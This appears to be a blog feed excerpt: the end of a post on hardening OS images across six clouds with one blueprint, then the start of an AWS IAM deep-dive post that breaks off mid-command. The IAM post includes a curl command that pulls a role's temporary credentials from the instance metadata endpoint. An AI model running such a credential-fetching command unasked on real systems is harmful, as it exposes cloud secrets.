<p>The first GCP images had a subtle problem: the <code class="" data-line="">/tmp</code> and <code class="" data-line="">/home</code> separate partition entries in <code class="" data-line="">/etc/fstab</code> referenced <code class="" data-line="">/dev/xvdb</code> — an AWS disk naming convention. GCP uses <code class="" data-line="">/dev/sdb</code>. The fstab entries were silently ignored. The mounts existed but weren&#8217;t restricted. The CIS controls for separate filesystem partitions were listed as passing in the scan output because the Ansible task had &#8220;run successfully&#8221; — it just hadn&#8217;t done what we thought.</p>
<p>It took a pentest three months later to catch it. The finding: six production GCP instances with <code class="" data-line="">/tmp</code> not mounted with <code class="" data-line="">noexec, nosuid, nodev</code> — despite our &#8220;CIS L1 hardened&#8221; label.</p>
<p>The root cause wasn&#8217;t the engineer. It was a hardening approach that required cloud-specific knowledge embedded in the script rather than in a provider abstraction layer.</p>
<hr />
<h2 id="how-bakex-separates-compliance-intent-from-provider-details">How BakeX Separates Compliance Intent from Provider Details</h2>
<p>Multi-cloud OS hardening works when the compliance intent and the provider details are kept strictly separate.</p>
<pre><code class="" data-line="">HardeningBlueprint YAML
(compliance intent — portable)
         │
         ▼
  BakeX Provider Layer
  ┌─────────────────────────────────────────────┐
  │  AWS         │  GCP         │  Azure        │
  │  /dev/xvd*   │  /dev/sda*   │  /dev/sda*    │
  │  IMDS v2     │  GCP IMDS    │  Azure IMDS   │
  │  cloud-init  │  cloud-init  │  waagent       │
  │  order A     │  order B     │  order C       │
  └─────────────────────────────────────────────┘
         │
         ▼
  Ansible-Lockdown + Provider-Aware Configuration
         │
         ▼
  OpenSCAP Scan
         │
         ▼
  Golden Image (AMI / GCP Image / Azure Image)
</code></pre>
<p>The blueprint author declares <strong>what</strong> should be true about the OS. BakeX&#8217;s provider layer handles <strong>how</strong> that&#8217;s achieved on each cloud.</p>
<p>The disk naming, cloud-init sequencing, metadata endpoint configuration, and provider-specific package repositories are all abstracted into the provider layer. They never appear in the blueprint file.</p>
<hr />
<h2 id="the-same-blueprint-across-six-providers">The Same Blueprint Across Six Providers</h2>
<p>Here is the part people expect to be a flag, and isn&#8217;t. There is no <code class="" data-line="">--provider</code> switch. The<br />
provider is a field <em>inside</em> the blueprint, so you keep one file per target:</p>
<pre><code class="" data-line="">$ ls blueprints/ubuntu/22.04/
cis-l1-aws.yaml           cis-l1-digitalocean.yaml  cis-l1-linode.yaml
cis-l1-azure.yaml         cis-l1-gcp.yaml           cis-l1-proxmox.yaml

# Validate all six at once — offline, no cloud API calls
$ bakex validate blueprints/ubuntu/22.04/*.yaml
OK    blueprints/ubuntu/22.04/cis-l1-aws.yaml  (HardeningBlueprint &#039;ubuntu22-cis-l1-aws&#039;)
...
6/6 blueprint(s) valid.

# Build one
$ bakex build blueprints/ubuntu/22.04/cis-l1-gcp.yaml
Building &#039;ubuntu22-cis-l1-gcp&#039; (gcp) → job 7f3c9e82-…
</code></pre>
<p>That design choice looks like more files, and it is. What you get for it is that a blueprint<br />
is completely self-describing: the file names its own cloud and its own base image, so it<br />
builds the same way on your laptop, in CI, and on a colleague&#8217;s machine with no flags to<br />
forget and no environment to match.</p>
<p><strong>The claim worth testing: how much actually differs between those six files?</strong></p>
<p>I parsed all six and compared every section except <code class="" data-line="">metadata</code> and <code class="" data-line="">target</code>:</p>
<pre><code class="" data-line="">compliance    identical across all 6
controls      identical across all 6   (same rules, same enable state)
filesystem    identical across all 6
users         identical across all 6
system        identical across all 6
</code></pre>
<p>Only the <code class="" data-line="">target</code> block changes, and it changes in exactly the way you&#8217;d expect:</p>
<table>
<thead>
<tr>
<th>Provider</th>
<th><code class="" data-line="">instance_type</code></th>
<th><code class="" data-line="">base_image</code></th>
</tr>
</thead>
<tbody>
<tr>
<td>aws</td>
<td><code class="" data-line="">t3.medium</code></td>
<td><code class="" data-line="">ami-0c7217cdde317cfec</code></td>
</tr>
<tr>
<td>gcp</td>
<td><code class="" data-line="">e2-medium</code></td>
<td><code class="" data-line="">projects/ubuntu-os-cloud/global/images/family/ubuntu-2204-lts</code></td>
</tr>
<tr>
<td>azure</td>
<td><code class="" data-line="">Standard_B2s</code></td>
<td><code class="" data-line="">Canonical:0001-com-ubuntu-server-jammy:22_04-lts-gen2:latest</code></td>
</tr>
<tr>
<td>digitalocean</td>
<td><code class="" data-line="">s-2vcpu-4gb</code></td>
<td><code class="" data-line="">ubuntu-22-04-x64</code></td>
</tr>
<tr>
<td>linode</td>
<td><code class="" data-line="">g6-standard-2</code></td>
<td><code class="" data-line="">linode/ubuntu22.04</code></td>
</tr>
<tr>
<td>proxmox</td>
<td><code class="" data-line="">2c-4g</code></td>
<td><code class="" data-line="">9000</code> (VE template VMID)</td>
</tr>
</tbody>
</table>
<p>Six wildly different ways of naming &#8220;Ubuntu 22.04 LTS&#8221; and sizing a 2 vCPU / 4 GB box. That<br />
is the entire provider-specific surface. The CIS benchmark, the profile, the datastream, the<br />
mount options, the locked root account, the control overrides and their justifications — all<br />
byte-identical.</p>
<p>One honest caveat, because I checked rather than assumed: the six files are <em>semantically</em><br />
identical but not textually so. The justification string on one disabled SELinux rule is<br />
worded slightly differently between files — same rule, same <code class="" data-line="">enabled: false</code>, same meaning,<br />
different prose. It&#8217;s a cosmetic inconsistency in the shipped library, not a behavioural one,<br />
and it&#8217;s the kind of thing you only find by diffing rather than trusting the header comment.</p>
<p>If you change the compliance posture — add a control override, tighten a mount option — you<br />
change it identically in six files and rebuild. A reviewer sees six identical hunks in the<br />
diff. A sixth hunk that looks different is a bug, and it&#8217;s visible in code review rather than<br />
three months later in a pentest.</p>
<hr />
<h2 id="what-the-provider-layer-handles">What the Provider Layer Handles</h2>
<p>The provider layer is where the cloud-specific knowledge lives, so the blueprint author doesn&#8217;t have to carry it:</p>
<p><strong>Disk naming:</strong></p>
<table>
<thead>
<tr>
<th>Provider</th>
<th>OS disk</th>
<th>Ephemeral</th>
<th>Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>AWS</td>
<td><code class="" data-line="">/dev/xvda</code></td>
<td><code class="" data-line="">/dev/xvdb</code></td>
<td><code class="" data-line="">/dev/xvdc+</code></td>
</tr>
<tr>
<td>GCP</td>
<td><code class="" data-line="">/dev/sda</code></td>
<td>—</td>
<td><code class="" data-line="">/dev/sdb+</code></td>
</tr>
<tr>
<td>Azure</td>
<td><code class="" data-line="">/dev/sda</code></td>
<td><code class="" data-line="">/dev/sdb</code> (temp disk)</td>
<td><code class="" data-line="">/dev/sdc+</code></td>
</tr>
<tr>
<td>DigitalOcean</td>
<td><code class="" data-line="">/dev/vda</code></td>
<td>—</td>
<td><code class="" data-line="">/dev/vdb+</code></td>
</tr>
</tbody>
</table>
<p>The CIS controls for separate <code class="" data-line="">/tmp</code> and <code class="" data-line="">/home</code> partitions reference disk paths that differ across these providers. The provider layer translates the blueprint&#8217;s <code class="" data-line="">filesystem.tmp</code> declaration into the correct fstab entries for the target cloud.</p>
<p><strong>Cloud-init ordering:</strong></p>
<p>Different providers initialize services in different orders. On AWS, the network is available before cloud-init runs most tasks. On GCP, some network configuration happens after cloud-init starts. On Azure, the waagent handles some configuration that cloud-init handles elsewhere.</p>
<p>The provider layer sequences the hardening steps to run in the correct order for each provider — specifically, it waits for network availability before applying network-level hardening, and ensures the package manager is configured before running Ansible roles that require package installation.</p>
<p><strong>Metadata endpoint configuration:</strong></p>
<p>CIS controls include restrictions on access to the instance metadata service (IMDSv2 enforcement on AWS, equivalent controls on GCP/Azure). The provider layer applies the correct restriction for each cloud — the blueprint just declares <code class="" data-line="">compliance: benchmark: cis-l1</code>.</p>
<hr />
<h2 id="building-every-provider">Building Every Provider</h2>
<p>There is no built-in fan-out flag, and honestly none is needed — the CLI is exit-code shaped,<br />
so the shell already does this well:</p>
<pre><code class="" data-line=""># Validate everything first; stop before spending money if anything is wrong
bakex validate blueprints/ubuntu/22.04/*.yaml || exit 1

# Then build each target
for bp in blueprints/ubuntu/22.04/cis-l1-*.yaml; do
  bakex build &quot;$bp&quot; --json &gt; &quot;builds/$(basename &quot;$bp&quot; .yaml).json&quot; &amp;
done
wait
</code></pre>
<p><code class="" data-line="">--json</code> emits the job record — id, profile name, provider, status, artifact ID, error — which<br />
is what you want when six builds are writing to six files at once. Every build either lands a<br />
<code class="" data-line="">complete</code> status with an artifact ID, or a <code class="" data-line="">failed</code> status with the reason. Nothing produces<br />
a half-hardened image.</p>
<p>The validate-then-build ordering matters more than it looks. Validation is offline and takes<br />
milliseconds; a build takes 15–25 minutes and costs money. Catching a malformed blueprint or an<br />
unsupported OS/provider pair in the first step means you never launch the instance.</p>
<hr />
<h2 id="blueprint-versioning-and-drift">Blueprint Versioning and Drift</h2>
<p>Version-controlling the blueprint file solves a problem multi-cloud environments hit<br />
consistently: knowing what your OS security posture was six months ago. The blueprint is the<br />
answer — it&#8217;s a file, in git, with a commit history and a reviewer&#8217;s name on every change.</p>
<p>Re-scanning a <em>running</em> instance against the posture that built it is a separate job, and it<br />
does not live in the CLI. <code class="" data-line="">bakex validate</code> and <code class="" data-line="">bakex build</code> are the two CLI verbs; scanning<br />
and drift comparison are in the web UI and the HTTP API, where the scan results have somewhere<br />
to live. EP04 covers that surface in detail — the A–F grade, the SARIF export, and comparing a<br />
current scan against a stored baseline.</p>
<p>The useful discipline in the meantime is unglamorous: rebuild from the blueprint rather than<br />
patching running instances. An instance that drifted is a symptom; the blueprint is the cure,<br />
and re-baking is cheaper than reconciling.</p>
<hr />
<h2 id="production-gotchas">Production Gotchas</h2>
<p><strong>Provider-specific CIS controls exist.</strong> CIS AWS Foundations Benchmark and CIS GCP Benchmark include cloud-specific controls (VPC flow logs, CloudTrail, etc.) that are separate from the OS-level CIS controls. The blueprint handles OS-level controls. Cloud-level controls (IAM, logging, network configuration) belong in your cloud security posture management tooling.</p>
<p><strong>Build costs vary by provider.</strong> On AWS, the build instance is a <code class="" data-line="">t3.medium</code> for 15–20 minutes (~$0.02). On GCP and Azure, equivalent pricing applies. For multi-provider builds, run them in regions close to your primary workloads to minimize image transfer time.</p>
<p><strong>Proxmox is a template VMID, not an image name.</strong> Every cloud provider names its base image with a string; Proxmox names it with a number — the VE template&#8217;s VMID (<code class="" data-line="">9000</code> in the shipped blueprint). The provider talks to the Proxmox API remotely via <code class="" data-line="">proxmoxer</code>, so no agent on the host is required, but it does need <code class="" data-line="">host</code> credentials and it discovers the built VM&#8217;s IP through the QEMU guest agent <em>inside</em> the VM. If the guest agent isn&#8217;t installed in your template, the build will provision and then hang waiting for an address.</p>
<p><strong>KVM and Proxmox are deliberately different providers.</strong> They look interchangeable and aren&#8217;t: a KVM target names a downloadable cloud image, a Proxmox target names a VE template that already exists on your host. Don&#8217;t assume a blueprint written for one works on the other.</p>
<p><strong>GCP image sharing across projects requires explicit IAM.</strong> GCP machine images aren&#8217;t automatically available to other projects in the organization. BakeX builds the image; sharing it is a GCP IAM operation you configure at the project or organization level — there&#8217;s no BakeX command that grants cross-project access for you.</p>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>Multi-cloud OS hardening with separate scripts per provider creates inevitable drift; a provider-abstracted blueprint eliminates it</li>
<li>BakeX ships working blueprints for AWS, GCP, Azure, DigitalOcean, Linode, and Proxmox — one file per provider, with <code class="" data-line="">target</code> as the only section that differs</li>
<li>The provider is a field in the blueprint, not a CLI flag: every file is self-describing and builds identically in CI, locally, or on a teammate&#8217;s machine</li>
<li>Fan-out is a shell loop over exit codes, not a framework feature — validate all six offline first, then build in parallel with <code class="" data-line="">--json</code></li>
<li>Blueprint version control is the single source of truth for OS security posture history — and a compliance change that isn&#8217;t identical across all six providers shows up as an odd hunk in code review</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>Six providers, one compliance posture, and a diff that proves it. EP03 showed that the multi-cloud drift problem disappears when provider details are confined to a single block of the blueprint.</p>
<p>What neither EP02 nor EP03 answered is the auditor&#8217;s question: how do you know the image is actually compliant? &#8220;We ran CIS L1&#8221; is not an answer. &#8220;Grade A, 98/100 controls, SARIF export attached&#8221; is.</p>
<p>EP04 covers automated OpenSCAP compliance: the post-build scan in detail — how the A-F grade is calculated, what controls block an A grade, how SARIF exports work, and how drift detection catches what changed after deployment.</p>
<p><em>Next: <a href="/automated-compliance-scanning-openscap/">automated OpenSCAP compliance — CIS benchmark grading before deployment</a></em></p>
<p>Get EP04 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Flinux-hardening-multi-cloud%2F&amp;linkname=One%20Blueprint%2C%20Six%20Clouds%20%E2%80%94%20Multi-Provider%20OS%20Image%20Builds" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Flinux-hardening-multi-cloud%2F&amp;linkname=One%20Blueprint%2C%20Six%20Clouds%20%E2%80%94%20Multi-Provider%20OS%20Image%20Builds" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Flinux-hardening-multi-cloud%2F&amp;linkname=One%20Blueprint%2C%20Six%20Clouds%20%E2%80%94%20Multi-Provider%20OS%20Image%20Builds" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Flinux-hardening-multi-cloud%2F&amp;linkname=One%20Blueprint%2C%20Six%20Clouds%20%E2%80%94%20Multi-Provider%20OS%20Image%20Builds" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Flinux-hardening-multi-cloud%2F&amp;linkname=One%20Blueprint%2C%20Six%20Clouds%20%E2%80%94%20Multi-Provider%20OS%20Image%20Builds" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Flinux-hardening-multi-cloud%2F&amp;linkname=One%20Blueprint%2C%20Six%20Clouds%20%E2%80%94%20Multi-Provider%20OS%20Image%20Builds" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Flinux-hardening-multi-cloud%2F&amp;linkname=One%20Blueprint%2C%20Six%20Clouds%20%E2%80%94%20Multi-Provider%20OS%20Image%20Builds" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Flinux-hardening-multi-cloud%2F&#038;title=One%20Blueprint%2C%20Six%20Clouds%20%E2%80%94%20Multi-Provider%20OS%20Image%20Builds" data-a2a-url="https://linuxcent.com/linux-hardening-multi-cloud/" data-a2a-title="One Blueprint, Six Clouds — Multi-Provider OS Image Builds"></a></p><p>The post <a href="https://linuxcent.com/linux-hardening-multi-cloud/">One Blueprint, Six Clouds — Multi-Provider OS Image Builds</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/linux-hardening-multi-cloud/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1774</post-id>	</item>
		<item>
		<title>AWS IAM Deep Dive: Users, Groups, Roles, and Policies Explained</title>
		<link>https://linuxcent.com/aws-iam-deep-dive/</link>
					<comments>https://linuxcent.com/aws-iam-deep-dive/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Tue, 14 Apr 2026 05:08:27 +0000</pubDate>
				<category><![CDATA[Cloud IAM]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[AWS IAM]]></category>
		<category><![CDATA[AWS Identity Center]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[Cross Account Access]]></category>
		<category><![CDATA[IAM]]></category>
		<category><![CDATA[IAM Roles]]></category>
		<category><![CDATA[SCP]]></category>
		<guid isPermaLink="false">https://linuxcent.com/aws-iam-deep-dive/</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 11</span> <span class="rt-label rt-postfix">minutes</span></span>Complete AWS IAM guide: users, groups, roles, trust policies, SCPs, permissions boundaries, cross-account access, and IAM Identity Center for production environments.</p>
<p>The post <a href="https://linuxcent.com/aws-iam-deep-dive/">AWS IAM Deep Dive: Users, Groups, Roles, and Policies Explained</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 11</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<hr />
<p><em><a href="/what-is-cloud-iam/">What Is Cloud IAM</a> → <a href="/authentication-vs-authorization-iam/">Authentication vs Authorization</a> → <a href="/iam-roles-policies-permissions-explained/">IAM Roles vs Policies</a> → </em><em>AWS IAM Deep Dive</em><em> → <a href="/gcp-iam-deep-dive/">GCP Resource Hierarchy IAM</a></em></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>IAM users with long-lived access keys are legacy — use <strong>IAM Identity Center with federation</strong>; static keys are a security finding, not a feature</li>
<li>Roles issue temporary credentials via STS — the right identity model for every service (Lambda, EC2, ECS, CI/CD)</li>
<li>Every role has <strong>two required configs</strong>: trust policy (who can assume it) + permission policy (what it can do) — both must be correct</li>
<li><strong>SCPs</strong> set the org-level ceiling; they cannot grant permissions and do not apply to the management account</li>
<li><strong>Permissions boundaries</strong> set an identity-level ceiling — effective permissions are the <em>intersection</em> with identity-based policies, not the union</li>
<li>Cross-account trust without an <code class="" data-line="">ExternalId</code> condition is vulnerable to the confused deputy attack — always include it with third-party trust</li>
<li>One role per service, never shared — a shared role&#8217;s blast radius is the union of what every consumer needs</li>
</ul>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<p>AWS IAM evaluates every API call through a specific chain. Understanding this chain is how you debug access issues and how you design guardrails that actually hold.</p>
<pre><code class="" data-line="">  AWS POLICY EVALUATION — every API call walks this chain top to bottom
  An explicit DENY at any step ends evaluation immediately.

         API call arrives
               │
               ▼
  ┌────────────────────────────┐
  │  Explicit DENY in any SCP? │── YES ──────────────────────────► DENIED
  └────────────────┬───────────┘     (cannot be overridden by anything)
                   │ NO
                   ▼
  ┌────────────────────────────┐
  │  SCP present with no ALLOW │── YES ──────────────────────────► DENIED
  └────────────────┬───────────┘
                   │ NO (or no SCP / management account)
                   ▼
  ┌────────────────────────────┐
  │  Explicit DENY in any      │── YES ──────────────────────────► DENIED
  │  identity or resource      │
  │  policy?                   │
  └────────────────┬───────────┘
                   │ NO
                   ▼
  ┌────────────────────────────┐
  │  Resource-based policy     │── YES (same-account principal) ──► ALLOWED*
  │  with ALLOW?               │
  └────────────────┬───────────┘   *unless denied above
                   │ NO
                   ▼
  ┌────────────────────────────┐
  │  Permissions boundary      │── YES, boundary has NO ALLOW ───► DENIED
  │  attached?                 │
  └────────────────┬───────────┘
                   │ NO boundary, or boundary ALLOWS
                   ▼
  ┌────────────────────────────┐
  │  Session policy attached   │── YES, session has NO ALLOW ────► DENIED
  │  (role assumption)?        │
  └────────────────┬───────────┘
                   │ NO session policy, or session ALLOWS
                   ▼
  ┌────────────────────────────┐
  │  Identity-based policy     │── YES ──────────────────────────► ALLOWED
  │  with ALLOW?               │
  └────────────────┬───────────┘
                   │ NO
                   ▼
                DENIED (default — nothing explicitly granted)

  Debugging AccessDenied: work bottom-up.
  Start with the identity-based policy. Then boundary. Then SCP.
</code></pre>
<hr />
<h2 id="introduction">Introduction</h2>
<p>An AWS IAM deep dive reveals what most teams miss: the difference between an IAM model that works under deadline and one that survives scale, audits, and staff turnover. If you&#8217;ve read <a href="/iam-roles-policies-permissions-explained/">IAM roles vs policies</a> and understand the three-layer stack, this is where it becomes specific to AWS — trust policies, SCPs, permissions boundaries, cross-account trust, and Identity Center.</p>
<p>In 2017 I was asked to help clean up an AWS account that had been running in production for two years. The team had built something real — a microservices application, a data pipeline, a CI/CD system. Competent engineers. But nobody had been specifically accountable for IAM.</p>
<p>When I pulled the configuration:</p>
<ul>
<li>One IAM user with <code class="" data-line="">AdministratorAccess</code> shared by the entire dev team. Password in a shared password manager. Access key three years old.</li>
<li>Six Lambda functions each carrying <code class="" data-line="">AWSLambdaFullAccess</code>, <code class="" data-line="">AmazonS3FullAccess</code>, and <code class="" data-line="">AmazonDynamoDBFullAccess</code> — three broad managed policies each, instead of one custom policy with what each function actually needed.</li>
<li>A CI/CD pipeline role with <code class="" data-line="">iam:*</code> on <code class="" data-line="">*</code> because someone once needed to create a role during a deployment and found that the easiest path.</li>
<li>Three IAM users for contractors who had finished their engagements months earlier. Still active, access keys still valid.</li>
</ul>
<p>None of this was malicious. All of it was the result of reaching for the broadest thing that works, under deadline, without a framework for IAM decisions.</p>
<p>AWS IAM is the most flexible cloud IAM system. That flexibility is the problem. If you don&#8217;t know the full model, you default to broad grants because they&#8217;re easier to reason about. Broad things accumulate into exposure. This episode is the full model.</p>
<hr />
<h2 id="aws-iam-identity-types-users-groups-and-roles-compared">AWS IAM Identity Types: Users, Groups, and Roles Compared</h2>
<h3 id="iam-users-why-static-access-keys-are-a-security-finding">IAM Users: Why Static Access Keys Are a Security Finding</h3>
<p>An IAM user is a permanent identity with long-lived credentials: a password for console access, and optionally an access key pair. No expiry on the access key by default.</p>
<pre><code class="" data-line=""># Create a user
aws iam create-user --user-name alice

# Generate an access key — no expiry unless you set one
aws iam create-access-key --user-name alice

# Enforce MFA for console access
aws iam create-virtual-mfa-device \
  --virtual-mfa-device-name alice-mfa \
  --outfile /tmp/alice-mfa.png \
  --bootstrap-method QRCodePNG

aws iam enable-mfa-device \
  --user-name alice \
  --serial-number arn:aws:iam::123456789012:mfa/alice-mfa \
  --authentication-code1 123456 \
  --authentication-code2 654321
</code></pre>
<p>The access key exists the moment you create it. It survives team changes, org restructures, and offboarding unless someone explicitly deletes it. In practice, access keys are where I find the oldest, most-forgotten credentials in every AWS account I&#8217;ve audited.</p>
<p><strong>Current best practice: don&#8217;t create IAM users for human access.</strong> Use IAM Identity Center with federation. Static access keys are a finding, not a feature.</p>
<h3 id="iam-groups-useful-but-limited">IAM groups — useful but limited</h3>
<p>Groups are collections of users. Policies attached to a group apply to all members. Useful as a middle layer, but limited: you can&#8217;t add roles or services to a group, and if you&#8217;re moving toward Identity Center, groups in IAM become less relevant.</p>
<pre><code class="" data-line="">aws iam create-group --group-name Backend-Developers
aws iam attach-group-policy \
  --group-name Backend-Developers \
  --policy-arn arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess
aws iam add-user-to-group --group-name Backend-Developers --user-name alice
</code></pre>
<h3 id="iam-roles-how-sts-temporary-credentials-work">IAM Roles: How STS Temporary Credentials Work</h3>
<p>A role is an identity without permanent credentials. It is assumed by entities — services, users, external systems — and STS issues temporary credentials. Those credentials expire. Nothing to rotate.</p>
<pre><code class="" data-line=""># Create a role that EC2 can assume
cat &gt; ec2-trust-policy.json &lt;&lt; &#039;EOF&#039;
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Effect&quot;: &quot;Allow&quot;,
    &quot;Principal&quot;: { &quot;Service&quot;: &quot;ec2.amazonaws.com&quot; },
    &quot;Action&quot;: &quot;sts:AssumeRole&quot;
  }]
}
EOF

aws iam create-role \
  --role-name AppServerRole \
  --assume-role-policy-document file://ec2-trust-policy.json

aws iam attach-role-policy \
  --role-name AppServerRole \
  --policy-arn arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess

# EC2 needs an instance profile to carry the role
aws iam create-instance-profile --instance-profile-name AppServerProfile
aws iam add-role-to-instance-profile \
  --instance-profile-name AppServerProfile \
  --role-name AppServerRole

# Launch with the profile
aws ec2 run-instances \
  --image-id ami-0abcdef1234567890 \
  --instance-type t3.micro \
  --iam-instance-profile Name=AppServerProfile
</code></pre>
<p>From inside the instance — no credential files, no configuration:</p>
<pre><code class="" data-line="">curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AppServerRole
# Returns: AccessKeyId, SecretAccessKey, Token, Expiration
# AWS refreshes these before they expire. The application never sees a rotation event.
</code></pre>
<p>Lambda, ECS, and other services use different attachment mechanisms but the same model.</p>
<hr />
<h2 id="aws-iam-policy-types-managed-inline-scp-and-boundaries">AWS IAM Policy Types: Managed, Inline, SCP, and Boundaries</h2>
<h3 id="managed-vs-inline-policies">Managed vs inline policies</h3>
<pre><code class="" data-line="">┌────────────────────┬──────────────────────────────────┬──────────────────────────────────────┐
│ Type               │ Description                      │ Use when                             │
├────────────────────┼──────────────────────────────────┼──────────────────────────────────────┤
│ AWS Managed        │ Created by AWS, read-only        │ Quick prototyping; never production  │
│ Customer Managed   │ Created by you, reusable         │ Standard production permissions      │
│ Inline             │ Embedded in user/group/role      │ Explicit 1:1 non-transferable binding│
└────────────────────┴──────────────────────────────────┴──────────────────────────────────────┘
</code></pre>
<p>AWS Managed policies like <code class="" data-line="">AmazonS3FullAccess</code> are convenient and dangerous for the same reason: broad by design, meant to cover every use case. For a Lambda that reads one specific bucket, <code class="" data-line="">AmazonS3FullAccess</code> grants approximately 30 permissions you didn&#8217;t need.</p>
<pre><code class="" data-line=""># Create a customer managed policy — scoped to what the Lambda actually does
cat &gt; lambda-reader-policy.json &lt;&lt; &#039;EOF&#039;
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Sid&quot;: &quot;ReadSpecificBucket&quot;,
    &quot;Effect&quot;: &quot;Allow&quot;,
    &quot;Action&quot;: [&quot;s3:GetObject&quot;, &quot;s3:ListBucket&quot;],
    &quot;Resource&quot;: [
      &quot;arn:aws:s3:::app-data-prod&quot;,
      &quot;arn:aws:s3:::app-data-prod/*&quot;
    ]
  }]
}
EOF

aws iam create-policy \
  --policy-name LambdaS3ReadPolicy \
  --policy-document file://lambda-reader-policy.json

aws iam attach-role-policy \
  --role-name lambda-image-processor-role \
